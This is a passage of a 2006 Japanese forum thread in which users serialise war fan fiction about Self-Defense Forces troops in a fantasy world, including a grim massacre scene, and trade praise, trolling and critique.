833 名前: 元1だおー 2006/07/20(木) 18:56:56 ID:???

一羽のはぐれハーピィの歌声が、この高地に、この戦場の夜闇に染み渡っていく。
子守歌なのか、愛の歌のなのか、郷愁の歌なのか、それとも、鎮魂歌なのか。
それは分からない。
ただそれはとこしえの優しさと、抗えない切なさを聴く者に与える歌声だった。
それだけで十分だと思える歌声だった。
柴田は、頬を伝う温かい涙を感じながら、小銃を抱いたまま眠りに落ちていった。

その涙の理由は、分からなかったが、感じ取ることはできた。

それは、生涯で女性に対して抱いた、ただ一つの愛しさ≠フ記憶だった。

続く




834 名前: 佐藤 ◆7hrQ6uahfA 2006/07/20(木) 20:39:21 ID:???

ツマンネ


以上

835 名前: ◆YXzbg2XOTI 2006/07/20(木) 21:03:27 ID:???

乙であります。

836 名前: 名無し三等兵 2006/07/20(木) 21:11:17 ID:???

おk、クオリティ高すぎるぜ!
つづきwktk

此処までの文章を書けるようになるまでにはやっぱり練習したんですか?
文章を書く時の、または上達のコツがあったら教えて下さい。


837 名前: 名無し三等兵 2006/07/20(木) 21:21:34 ID:???

乙ですた。
Щ(Ш゚∀゚)ツヅキキボン

あと>>834はスルー出来るよな?>ALL

838 名前: 名無し三等兵 2006/07/20(木) 22:11:20 ID:wsN8gzi/

../../hobby7_army/1153/1153316414.html

ここに小官のSSを無断転載しているアホがいるぞ。

839 名前: 名無し三等兵 2006/07/20(木) 22:27:19 ID:???

>>837
さわっちゃ駄目?勿論、責任なんぞ持たな(ry

840 名前: 名無し三等兵 2006/07/20(木) 22:56:35 ID:???

最後のポエム2レスはいらないような気がします

841 名前: 名無し三等兵 2006/07/20(木) 23:44:24 ID:???

元1氏に質問。
敵の支配下にある都市まで輸送機を飛ばすことは出来ますかね?

842 名前: 名無し三等兵 2006/07/21(金) 00:19:07 ID:???

ファンタジースレの皆さん。
次スレは異世界スレを再利用するなり、削除するなりしてくださいね。

843 名前: 名無し三等兵 2006/07/21(金) 05:24:47 ID:???

>>841
横スレになるが制空権+拠点から目標地点までの距離による

F世界において制空権を自衛隊が握れないことは燃料不足でも起こらない限りまず無いが、
相手の航空兵力によっては「遅すぎて近づけない!」と言うこともあるかもしれないな。
その場合はやはり地上からの対空砲しかないのかね、戦闘機飛ばす燃料勿体ないし

844 名前: 名無し三等兵 2006/07/21(金) 06:50:21 ID:???

>>843
wikiにある唐突に氏かcall氏の作品を参照するといい。補給の状況についてはある程度載っている。


845 名前: 名無し三等兵 2006/07/22(土) 11:36:30 ID:???

魔獣過疎

846 名前: 小官 ◆qG4oodN0QY 2006/07/22(土) 12:53:05 ID:???

>>756

 「ん? どうした少年? 」

 公子の顔が引き攣ったのを小川は目聡く見咎めた。追い詰められた状況でも
恐怖に慄く事が無かった少年が、こうも過剰な反応を示すなど、余程の物を
見たに違い無い。隣のサイアも硬直し、歯の根が合わぬ程恐怖に震えている。
ご丁寧に両者とも顔から血の気が引いているのがご愛嬌だ。

 「やはり劣等人種に任せるからだ。このアガルタの住人は、ヴリルを持つ
  原アーリア種以外、ただの類人猿以下に違い無いだろうな、諸君」
 「アンタはそれさえ無ければ理想的な指揮官なんですがね? これは失礼を」
 「我々の発見したアガルタは通路であり、ここは別世界だと思いますがね。
  何せ空は蒼いし空気は美味い。こんな空を飛びたいモンだなぁ」
 「エェデルヴァイス、エェデルヴァァイス! エコーすら綺麗ですなぁ」
 「二人の傍に居るのはどうやら東洋人の様です。エリッヒの着ているものと
 迷彩パターンは似ている様ですが、別物です。先発隊の現地徴用兵の…」
 「…今は親衛隊上級中隊指揮官殿だ、…導師」

 公子達の視線の先を見ようと振り向いた小川は、公子達とは別の意味で絶句した。

 「何ダァ、ありゃあ…」

847 名前: 小官 ◆qG4oodN0QY 2006/07/22(土) 13:04:02 ID:???

 一体何の冗談だ、と自分の眼が信じられなくなった。一体誰の趣味だ? そろって
金髪碧眼でWW2のグロスナチライヒ軍コスチュームだ。一人はSS迷彩、一人は降下
猟兵のスモック、一人は空軍士官服、一人は陸軍戦闘服、一人は女で、なんと一般
SS制服を着用だ。SS迷彩を着た奴が、自信満々でのたまう。

 「我等総統特務隊の手から逃れられんよ、公子」
 「総統特別懲罰任務部隊の間違いじゃないですかネェ、中尉」
 「曹長、皮肉は結構だ。階級は以後、間違えるなよ? …公子を捕獲せよ」

 小川は物も言わず集団に89式小銃をぶっ放す。その音で2人は我に帰る。錆が
浮いて居た筈の小銃が、何故か輝きを取り戻していた。小川は片眉を上げる。

 「中々面白そうな追っ手だな? 話はあとだ。走れ! 」
 「各自散開! ミヒャエルは導師とともに公子の捕獲を継続せよ!」
 「了解、指揮官殿、さ、行きましょうや指揮官殿の愛人」

 公子はサイアの手を取り走ろうとするが、サイアは振りほどく。そして、小川の89式
小銃があった場所へと駆け寄り、剣を取り、握った。剣が輝き、人影が生まれる。
やや細身の長髪の女の影身だった。だが、耳が…長い。古代種に分類される人間だ。

 「あ奴を頼むぞ…悔しくて言えた義理では無いがな」
 「…今行くぞ、憲人」

 革鎧を着た女は嬉しげに目を細めると、疾風の如く小川の元へ駆けて行った。

848 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 18:59:17 ID:???

西暦2020年1月16日 05:20 ゴルソン大陸 陸上自衛隊大陸派遣隊第一基地西方69km地点

「展開急げ!!」

 未だに現役の89式小銃を構えた隊員たちが散らばっていく。
 ヘリコプターを中心に円を描くように、そしてすぐさま命令が届き、かつお互いを援護できる限界まで距離を空けて。

<離陸する!またのご搭乗を心よりお待ちしております!>

 テンションを維持したままの声と内容でヘリが離陸し、あっという間に大空の彼方へと飛び去っていく。
 すぐさま陸曹が駆け寄ってくる。

「各班問題ありません。小隊長殿?」
「前進だ。油断はするな」
「了解」

 短いやり取りの後にすぐさま小隊の方針は達せられた。
 一斑を中心に、各班がそれなりの許可を取りつつ前進を開始する。
 今のところは負傷者も戦死者もなし、というか、周囲には先発隊による攻撃に晒された惨殺死体しかない。

「小隊長殿」
「なんだ?」

 三班を任せている三曹が駆け寄ってくる。
 その表情は硬く、そして目は血走っている。

「自分の班を先発させてください。交戦法規は事前のままでいいんですよね?」

 事前のままというのは、捕虜を取るな、捕虜になるな。という単純なものだ。
 我々は積極的な平和維持活動を実施しているだけであり、これに楯突くものは平和の敵、その処罰に関しては現場の判断に一任する。
 ということだそうだ、上層部の責任の放棄ではなく、あくまでも殺害は事前に許可された状態で、殺すか殺さないかは現場の自由なのだそうだ。
 まぁ、やりやすいといえばそうだが、一体自衛隊はどうなってしまったんだ?

849 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 19:00:11 ID:???

「交戦法規の遵守を心がけろ、捕虜になることも部下を死なせることも許可しない。いいな?」
「了解しました。それでは先発します」

 敬礼する手間すらも惜しむ様子で奴は駆けていった。
 待機している三班の連中と少しだけ会話を交わし、彼らは最前列に立って進みだした。

「どうしたんだあいつは?」
「さあ?人間を撃ちたくてウズウズしているのでは?」
「病んどるなぁ」
「さ、小隊長殿、我々も進みましょう」

 俺のコメントを無視し、小隊は前進を開始した。
 周辺は前方で燃え盛る村を頂点として、あちこちで何かが燃えているために非常に明るい。
 まあ、全ての普通科に配給されている暗視装置のおかげで何もせずとも視界には困らんがな。

「しかし、こりゃあ完全な虐殺だな」

 視界全てに広がる殺戮の成果物を見つつ呟く。
 イブニングライナー達は思う存分暴れたらしい。
 あちこちに人間の残骸が広がっている。

850 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 19:02:49 ID:???

「かなり派手にやったんだなぁ。死んだ振りをしている奴に気をつけろよ」

 最前列を進む三班は、周辺警戒を行いつつも燃え盛る村の付近へと到着した。
 上空では警戒を続ける戦闘ヘリコプター達の爆音が響き渡っている。

「この村の連中もなんとか抵抗だけはしていたようですね」

 村の入り口らしい場所には、大量に矢が突き刺さり血液がデコレーションしたオブジェがあった。
 もちろんその周辺には死体の山がある。

「これは、ドワーフっていう奴か?」
「そのようですね」

 破壊された廃屋に注意しつつ三曹と陸士長が会話している。
 その周辺では陸士たちが安全装置を解除した小銃を手に、遮蔽物の陰で待機している。

「前方の塔が問題の場所だな」

 燃え上がる村の中、中心にそびえる塔のみが未だに火災から逃れていた。
 その周辺では敵と定められた連中が騒いでる。

「あれは、突入しようとしているのか?」
「そのようですね。あの頑丈そうな扉に邪魔されているのでしょう」

 剣ではなく木槌を持った連中が、必死に入り口らしい扉を叩いている。
 だが、鉄製と見える扉はびくともしない。

「小隊長殿?」
「周辺警戒は怠るな。一斉射撃でカタをつける。俺の射撃で攻撃開始だ。配置につけ」
 
 すぐさま命令は達せられ、遮蔽物と後方の視界を確保した隊員たちは、それぞれ近くの敵部隊へと照準を定めた。
 自動小銃や軽機関銃に狙いをつけられたことを知らない敵軍は、雄たけびや罵声を上げつつ塔への攻撃を継続している。

851 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 19:09:13 ID:???

ノービス王国暦139年豊潤の月六日 地図にない村 連合王国王立神聖騎士団第六大隊

「気合を入れろ!ぶち破れ!!」

 重いハンマーを扉へと叩きつける部下たちに指示を出しつつ、大隊長は空を見上げた。
 恐らくはダークエルフたちが召喚したであろう竜たちは、聞いた事もない羽音を相変わらず轟かせている。
 先ほどまで周辺では熾烈なブレスによる攻撃が行われていたが、不思議な事にここに攻撃が来る事はなかった。
 軍師によると、恐らくは威力が大きすぎ、術者たちが近いここには攻撃が出来ないのだろうという事だが、まあ攻撃されないのならば事情など何でも良い。

「まだ破れんのか!早くしろ!!」「何をやっているか無能どもめ!!」

 二等騎士たちが兵士たちへと怒号を上げる。
 緊急時の避難所として用意されていたらしいこの塔は、恐ろしいほどに防御力が高かった。
 
「状況はあまりよくありませんな」

 塔を見上げつつ軍師が呟く。
 頑丈な石造り、かつ鉄板を随所に貼り付けたこの塔は、本格的な攻城装備を持っていない彼らには厄介すぎる代物だった。
 窓はかなりの高さにしかなく、とてもではないが急造の梯子などでは届かない。
 唯一の進入手段である扉は、頑丈な鉄で作られ、さらには魔法処理すらされているようで、木槌程度では破れない。

「うむ、ここを破らない事にはどこにも帰れない」

 恐らくこの塔から離れた途端、空を飛び回る竜たちは我々に喜んでブレスを吐きかけるだろう。
 そうなれば一巻の終わりだ。
 人間の術者程度でそれを防ぐ事はできないだろう。


852 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 19:16:04 ID:???

「早く破るんだ!早くしろ!!」

 焦った三等騎士が叫び、そして彼の頭上に重い石材が激突した。
 一撃で頭を押し潰され、彼は絶命した。
 
「攻撃だ!逃げろ!!」

 命令と悲鳴が飛び交い、そこへ石材やファイヤーボールが飛び込んだ。
 高いところから落下するものというのはそれだけで脅威だが、それが重い石材や燃え盛る火炎だというのは脅威を通り越して悪夢である。
 すぐさま弓兵たちが応戦するが、ファイヤーボールはむしろそこを狙ってくる。
 
「逃げろぉぉぉ!!!」

 指揮を取っていた十人兵長が逃げ出しつつ叫び、直後に彼の部下たちは全滅した。
 もちろん四方八方から矢を射るのだから、相手に与えた損害が皆無というわけではない。
 頭上から悲鳴が聞こえ、何人もの敵が落下してくる。

「畜生、劣等民族どもめ、今日まで生かしてもらった恩を忘れやがって」

 忌々しそうに大隊長は上を見上げた。
 そもそも、今回の作戦はあくまでも懲罰的な意味合いのものだった。
 族長の娘だかなんだか知らんが、劣等民族にしては美しい娘を徴用しようとしただけなのだ。
 なのに連中は、何を考えたか知らんがこちらに対して攻撃を加えてきたのだ。
 しかも、いくら殺されようとも徹底抗戦。
 気がつけば村を焼き払い、そしてこうして最後の攻撃を行おうとしている。
 この村はもうおしまいだろう。
 それはどうでもいいが、この先、この地域からの物資の収益が減るのは痛いな。

「大隊長殿?」

 怯えた顔つきの軍師が彼に声をかけたのと、攻撃が開始されたのは同時だった。


853 名前: 名無し三等兵 2006/07/22(土) 19:16:57 ID:???

つまらない 読む価値なし

854 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 19:24:12 ID:???

西暦2020年1月16日 05:45 ゴルソン大陸 陸上自衛隊大陸派遣隊第一基地西方69km地点

「撃ぇ!!」

 叫びつつ発砲を開始する。
 PAPAPAPANN!!!!と、景気のいい音を立てて銃弾が放たれ、照準の延長線上にいた敵兵が倒れる。
 彼の発砲を受け、隊員たちは手短な敵兵向けて発砲を開始した。
 あちこちから89式小銃の、MINIMIの発砲音が鳴り響き、たちまちのうちに外周の敵軍は射殺された。
 「攻撃だ!」とか「敵襲!!」という警告の叫びが敵軍から聞こえてくるが、どうやらこちらを未だ発見できていないらしい。
 それはそうだ、太陽が昇り始めたとはいえ敵軍がいる場所は薄暗い広場で、こちらは炎を背に遮蔽物の陰から攻撃している。
 見えるはずがないのだ。

「左は統制が取れている、射撃を集中しろ」

 最初こそ発砲したが、その後は射撃を控えている佐藤が指示を出し、部下たちは統制の取れている集団に攻撃を加え続けた。
 中世程度の軍隊で統制が取れているということは、全体へ指示を下すものがいる可能性が高い。という三曹の進言を受けたからだ。
 すぐさま射撃が集中され、敵集団が薙ぎ倒される。

「上の連中はどうか?」

 双眼鏡を構えている陸士長に佐藤が尋ねる。

「こちらの攻撃に唖然としているようです」
「動いたら知らせろ」
「はっ」

 今のところはこちらに攻撃するつもりはないらしい。
 頼むからそのままでいてくれよ。
 敵軍を睨みつつ、佐藤は心から願った。

855 名前: 名無し三等兵 2006/07/22(土) 19:30:56 ID:???

面白くないからやめろよな

856 名前: 名無し三等兵 2006/07/22(土) 19:32:32 ID:???

また佐藤の自演か。
>>909気にせず続けよ。
勝ち組ニートを自称する荒らしの佐藤にかまうな。

857 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 19:39:13 ID:???

「左!」
「わかった!」

 銃声に負けない大声を出しつつ、自衛隊員たちは統制された射撃を続けた。
 入り口周辺にいた敵軍は大混乱に陥っていた。
 周辺から聞きなれない音が鳴り響くたびに同僚たちが薙ぎ倒され、さらには頭上からの攻撃も再開されたからだ。
 逃げようにもどこへ逃げたらよいかがわからない。
 敵はどこにいるかわからず、上からは石材とファイヤーボール、矢の雨。
 この村の周辺は竜がうろついており、支援がないところを見ると周辺に展開していた本隊は壊滅している様子。
 恐慌状態に陥った若い兵士の中には、武器を棄てて泣き喚くものまでいる。

「手榴弾!」

 陸曹の指示が飛び、何人かの隊員が投擲を開始する。
 閃光、爆発、悲鳴。
 敵兵が吹き飛び、混乱が拡大される。

858 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 19:42:14 ID:???

「三尉殿、投降を呼びかけますか?」
「まだだ」

 指示を下していた三曹が尋ねる。
 しかし、佐藤はそれを却下した。

「敵の数が多い。我々では扱いきれない」
「しかし敵の戦闘能力は十分に奪っています」
「まだだ」

 三曹と会話しつつ、佐藤は冷静さを保っている自分に驚いた。
 一方的な虐殺を行っているという認識は十分に持っている。
 敵軍は既に戦闘能力を喪失しており、塔の上からの支援攻撃もあって身動きが全く取れない様子だ。
 こちらは弾薬にはまだまだ余裕があり、さらに死傷者は全くない。
 しかしながら佐藤に攻撃を中止するつもりはなかった。
 彼にはわかっていたのだ。
 どうせ自分たちはこの作戦が終わっても前線に配置され続けるであろう事を。
 それならば、出来るだけ楽が出来るうちに血に慣れておいたほうが良い事を。

859 名前: 名無し三等兵 2006/07/22(土) 19:42:51 ID:???

頑張れ909さん

860 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 19:43:29 ID:???

了解です>>856殿
攻撃を続行します。

861 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 19:47:08 ID:???

「佐藤三尉!」
「攻撃を続行しろ!!」

 とうとう肩を掴んできた三曹を無視し、佐藤は携帯無線へと叫んだ。
 正面装備よりもそれ以外に予算を投入した何年間かは無駄ではなく、今の普通科には十分な数の暗視装置や無線機などが装備されている。

「これではただの虐殺です!わかっているんですか!?」
「十分認識しているよ三曹、頼むから静かにしてくれ」
「しかしっ!」

 必死に喰いすがる三曹を視界の端に入れつつ、それでも佐藤は攻撃を止めるつもりはなかった。
 たぶん上は怒っているのだろう。
 記念すべきファーストコンタクトを戦闘にしてしまった俺たちを。
 大勝利でも全滅でもなく、単なる撃退というよくわからない終わり方にしてしまった俺たちを。
 畜生、俺を主流から外しただけでは足りないのかよ。

「攻撃を続けろ!」

 内心の暗い思いを振り払うように佐藤は叫び、そして彼の部下たちは攻撃を続行した。
 そして何人かの陸曹たちは、佐藤のその命令に喜んで従った。
 彼らは自分たちが置かれている立場を正しく理解しており、佐藤の考えを肯定していたのだ。
 アニメの主人公がいる部隊じゃあるまいし、自分たちばかりが次々と使いまわされる理由を察知していたのだ。

862 名前: 名無し三等兵 2006/07/22(土) 19:47:59 ID:???

909自演乙

863 名前: 名無し三等兵 2006/07/22(土) 19:52:48 ID:???

面白くないSSだなぁ

864 名前: 名無し三等兵 2006/07/22(土) 19:56:18 ID:???

保守

865 名前: 名無し三等兵 2006/07/22(土) 19:57:46 ID:???

佐藤はですがスレで遊んで来いw
>>909氏続けてくれ。
十分面白いぞ。

866 名前: タイフーン ◆OIovhDE2dw 2006/07/22(土) 20:01:55 ID:???

>909氏
文体が稚拙で盛り上がらに欠ける内容ですね。
誰も読まないと思うのでやめたほうがいいですよ

867 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 20:02:49 ID:???

了解しました>>865殿
攻撃を続行します。

868 名前: 名無し三等兵 2006/07/22(土) 20:03:55 ID:???

荒らしがUzeeeeeeeeeeeeeeeeeeeeeee
軍板もID制導入すべきだな、ウザくてかなわねぇ。

869 名前: 名無し三等兵 2006/07/22(土) 20:04:46 ID:???

>>866
偽者乙。
同志スターリンスレを荒らしていた馬鹿と同じ末路を辿るが良いw

870 名前: 名無し三等兵 2006/07/22(土) 20:07:05 ID:???

でもつまらないのは事実だよね

871 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 20:08:17 ID:???

ノービス王国暦139年豊潤の月六日 地図にない村 連合王国王立神聖騎士団第六大隊

 そんな佐藤たちの攻撃を受ける敵軍は不運だった。
 大軍同士の国家の命運を賭けた決戦でならまだしも、彼らは佐藤の部下たちに経験値を与えるためだけに攻撃を受け続けているのだ。
 既に魔術師や弓兵は全滅し、彼らは戦友たちの死体を盾代わりに地面へと伏せていた。
 だが、そんな彼らには空から訪れた重量物や火炎が飛び込む。
 逃げようと立ち上がればたちまち光弾がそれを引き裂く。

「撃ぇ!」
「三尉!」
「攻撃を続行しろ!」
「右だ!!」

 周囲からは敵の命令らしい声が聞こえてくるが、その姿は見えない。
 あくまでも剣と槍、そして長弓と魔法による戦闘を行う彼らは、遮蔽物に身を隠す現代の戦闘での策敵手段を持っていないのだ。
 まあ、狙い済ましたように味方を薙ぎ倒しているこの敵が、実は数十メートル先から攻撃を加えているというのは想定の範囲外であろう。

「シビル十人兵長戦死!」「オルラン二等騎士戦死!!」

 次々と戦死の報告が入る中、驚くべきことに大隊長は生きていた。

872 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 20:09:33 ID:???

「どうして気がつかなかったのだ!」

 彼は傍らにいる軍師に怒鳴っていた。
 甲冑を着けた死体を積み上げたこの陣地はそれなりの防御力を有しており、今のところ攻撃に耐えていた。

「どうもこうも、私は魔術師でもなんでもないのです。
 それよりも、今はどうするかを考えるべきです。
 あと、私は気づきましたよ。声をかけた途端に攻撃を受けたのです」
「言い訳はいい!どうするのだ!このままでは全滅だぞ!」

 本隊は恐らく全滅、上空には竜の群れ、周囲からは謎の攻撃、頭上からは石材とファイヤーボールと矢の雨、頼るべき部下たちは死体の山。
 大隊長の忍耐力は限界となっていた。
 自然と傍らの剣へ手が伸び、そして全身に力が入る。
 止める間もなく彼は立ち上がり、声を張り上げた。

「我こそは連合王国王立神聖騎士団第六大t」

 所属部隊すら言い切る間もなく、彼は5.56mmNATO弾で上半身を蜂の巣にされて倒れた。
 これまで無傷だった大隊長が目の前で惨殺されたのを見た部下たちは、悲鳴を上げて逃げ出し、その全員が射殺された。

873 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 20:15:23 ID:???

西暦2020年1月16日 06:00 ゴルソン大陸 陸上自衛隊大陸派遣隊第一基地西方69km地点

「手向かう者は撃て!それ以外は拘束しろ!」

 徹底した攻撃により、敵軍は戦闘能力を完全に喪失した。
 きっかり0600時、自衛隊は攻撃を止め、敵軍へ降伏を勧告。
 上位者を失っていた敵軍は、口々に降伏を申し出つつ地面へと伏せた。

「武器を棄てろ!地面に伏せて両手は頭の上!早くしろ!!」

 小銃を構えた陸士たちが前進し、哀れな敵軍はようやくの事自分たちを攻撃してきた集団を発見できた。
 完全に錯乱している者を除き、大半が大人しく指示に従った。

「やっと見つけたぞ!」「降伏など冗談ではない!!!」

 もちろん諦めの悪いものというのは世の中に存在し、そんな彼らは誇りと共に肉体を撃ち砕かれた。
 彼我の距離は未だに数メートルを残しており、そんな目と鼻の先で自動小銃相手にどうこうできるわけがなかった。
 PAPAPAPAN!!!
 銃声が鳴り響き、周囲に伏せていた不運な同僚を巻き込んで彼らは死んだ。
 そして、戦闘は終了した。

874 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 20:25:10 ID:???

「そこに固まれ!早くしろ!!」

 ようやく周囲を明るくし始めた太陽によって、惨劇の後が照らし出された。
 頭部がない者、手足を欠損している者、まだ息があるが、明らかに手遅れな者。
 そこにはこの世の地獄が存在していた。
 
「殺さないでくれぇ!」「従う!従うから!!」

 怯えきった敵兵たちは、全身を恐怖で震わせつつ地面へと伏せ、すぐさま拘束されていく。
 一人くらいは胸元から短剣を抜いて抵抗するであろうと警戒していた隊員たちは、その素直さに驚きつつも拘束を継続した。

「こちらの死傷者はなし、敵軍は、ざっと見たところでは200名ほどではないかと思われます」

 報告をまとめた三曹が佐藤へと報告する。

「ふむ、精神をやられたものは?」
「ショックで動けないものが何人かは。あとは死体で怯えているくらいですね」
「上出来だな。しかし、自分で殺しておいて怯えるとは妙な話しだと思わんか?」
「三尉殿、自分は貴方の考えがわかりません」

 恐ろしいものを見る目で佐藤を見る三曹。
 だが、佐藤はつまらない物を見るような視線でそれに答える。

「この世界に来てもう二回目の戦闘。わからんか?」
「上層部に期待されているということですか?」
「俺たちは上に嫌われているんだよ。間違いない」
「まさか、どうして?」

 再び佐藤は三曹を見た。
 今までは有能だと思っていたのだが、あくまでも通常業務に限った話だったのか?

875 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 20:47:13 ID:???

「到着するなり戦闘を行ってしまった。
 しかも知らなかったとはいえこちらの落ち度で。
 そしてよりによって外務省に講和条約の締結という得点を与えてしまった」
「しかし、そもそも戦闘の許可は上から来たんですよ!」
「まあそうキレるな」

 激昂した三曹を苦笑しつつ宥め、佐藤は部下たちへと視線を向けた。
 耳元でささやき声が聞こえる。

「あいつ、動くよ。短剣を持ってる」

 視線を向ける。声の正体については考えない。
 地面に伏せた敵兵に部下が近づいていく。
 見ると左手が懐にある。

「吉田一士下がれ!!!」

 叫びつつ小銃を構える。
 
「三尉?」

 不思議そうに一士が振り向き、そして敵兵が立ち上がった。
 佐藤の発砲と敵兵が短剣を抜くのは同時だった。
 だが、人間が腕を振り下ろすのと音速で飛来する銃弾の速度は同じではない。
 頭部と左胸に着弾した敵兵は、そのまま回転しつつ地面へと倒れ、動かなくなる。

「なっ、なんだよこいつ!!」

 吉田一士は怯えつつ死体から離れ、慌てて小銃を構える。
 すぐさま周囲の陸士たちが戦闘態勢へと戻っていく。

876 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 21:13:42 ID:???

「違う!俺は何もしない!」「やめてくれ!たくさんだぁ!!」

 殺されると勘違いした敵兵たちが悲鳴を上げて命乞いを始める。
 しかし、近くの陸士に詰め寄ろうとした不運な者を除いて攻撃はされない。

「全員伏せるんだ!絶対に動くな!動けば殺すぞ!!」

 殺気だった陸曹たちが怒号を上げ、その恐ろしさに悲鳴を上げた敵兵たちは大人しく拘束されていった。
 その後は特に問題もなく、敵兵たちは両手の自由を奪われて地面へと転がされた。
 周辺では油断なく死体を調べる陸士たちがおり、そして上空では交代したらしい別の戦闘ヘリが旋回している。

「こちらエヴァーズマン、ロミオ64応答願います」
<<こちらロミオ64、感度良好だ>>
「作戦は成功です。塔周辺を確保しました」
<<了解した、外務省の連中を向かわせる>>
「・・・了解」
<<そう拗ねるな二尉。到着まで現地を死守しろ。昇進おめでとう、オワリ>>

 一方的に通信は切れた。

877 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 21:19:00 ID:???

「昇進おめでとうございます二尉殿」

 三曹が声をかける。
 だが、佐藤の表情は優れない。
 生前贈与かなにかだな。
 表情を曇らせたまま彼は考えた。
 彼の父親はかつて、陸上自衛隊の一等陸佐を務めていた。
 その交友関係は広く上に横に左に下にと、階級、所属を問わなかった。
 そんな彼の父親は、一等陸佐昇進と共に陸上自衛隊の戦闘能力向上を最優先に考えた装備計画を実行させた。 
 戦車よりもその予備部品を、新型小銃よりも89式の改善を、新たな装備よりも継戦能力の向上を最優先させたのだ。
 新型戦車開発は一時凍結され、いつの間にか財務省や官邸からの支援を取り付けつつ、彼の父はそれを続行した。
 普通科に個人用通信機や暗視装置が配備され、それ以外の兵科にも恩恵が与えられた。弾薬庫や補給処は大いに拡張された。
 弾薬の備蓄が増え、そこに大量の予備部品も詰まれた。
 各駐屯地は施設が更新され、戦闘能力は新型兵器の採用を行った場合よりも遥かに向上した。
 
「あんな大暴れをした親父の息子が」

 小声で佐藤は呟く。
 そんな大暴れをした彼の父親は、成果と引き換えに自衛隊を去ることとなった。
 あまりにも横紙破りをやりすぎ、その影響力を恐れた当時の上層部によって半ば強制的に退役させられたのだ。
 その事態を予期し、そして全く反省しなかった父親は、その後はとある建設会社を開き、陣地を作りやすい国土開発という事業を開始した。
 息子である彼は、気がすまない上層部のせめてもの嫌がらせとしてこんな目にあわされているのだ。
 彼はそう考えている。

878 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 21:22:48 ID:???

「しかし昇進は事実です二尉殿。
 それで、どうしますか?」
「どうもこうもない、捕虜をあの塔から離せ。戦闘が始まった場合には邪魔になる。
 外務省の連中が交渉のためにここに来るらしい。
 半分は大休止、食事や喫煙も許可する。
 残りは周辺警戒に当てろ。交代が終わったら死体を片付ける。
 君も休め」
「了解・・・しました」

 先に死体を埋葬するのが優先ではないか?という疑問を押し殺し、三曹は部下たちに命令を伝えた。
 確かに、ほぼ休み無しでここまできたのだ。
 少しは休憩を取らないと体が持たない。 
 三曹は瓦礫に座り、戦闘糧食を手にした。

「とはいえ、なぁ」

 惨殺死体と泣き喚く捕虜、そして焼け爛れた瓦礫に囲まれて休め、といわれても困る。
 しかし、何かが麻痺したらしい陸士たちは、次々に休憩を開始する。
 何人かが嘔吐しているという事実が、まだ自分たちが理性を失っていない証拠なのかな?
 そう思いつつ、三曹は普通に食事を開始している自分に驚いた。

879 名前: 前スレ909 ◆XRUSzWJDKM 2006/07/22(土) 21:24:45 ID:???

ひとまずはここまでです。
ある程度溜まり次第再び投下予定です。

880 名前: 名無し三等兵 2006/07/22(土) 21:39:53 ID:???

>>879
乙。期待してます。

881 名前: 名無し三等兵 2006/07/22(土) 22:14:22 ID:???

乙。
ところで気になった点を一つ。

><<そう拗ねるな二尉。到着まで現地を死守しろ。昇進おめでとう、オワリ>>

比喩的表現としても、死守という単語は使わないんじゃないかと思うんですけど
どうでしょうか。司令部からの指示の中に「死守」という単語を入れると本当に
そうしなければいけないことになってしまいます。
戦力を簡単に使い潰せない自衛隊が、しかも我が優勢であるときに死守命令を
出すわけがないですし。

882 名前: 名無し三等兵 2006/07/22(土) 22:34:14 ID:MzoBVRg4

前スレ909 ◆XRUSzWJDKM氏へ
久しぶりにここでSSが読めました。
最近あぽーん表示が多くてSSが見れなかったので。

883 名前: 名無し三等兵 2006/07/22(土) 23:12:24 ID:???

909さん待ってました〜!!!111!!

それはそれとして、あと3〜4KBでこのスレはF世界に転移します。
次スレを立てれる人は立ててくらさい。。。

884 名前: 名無し三等兵 2006/07/22(土) 23:35:01 ID:???

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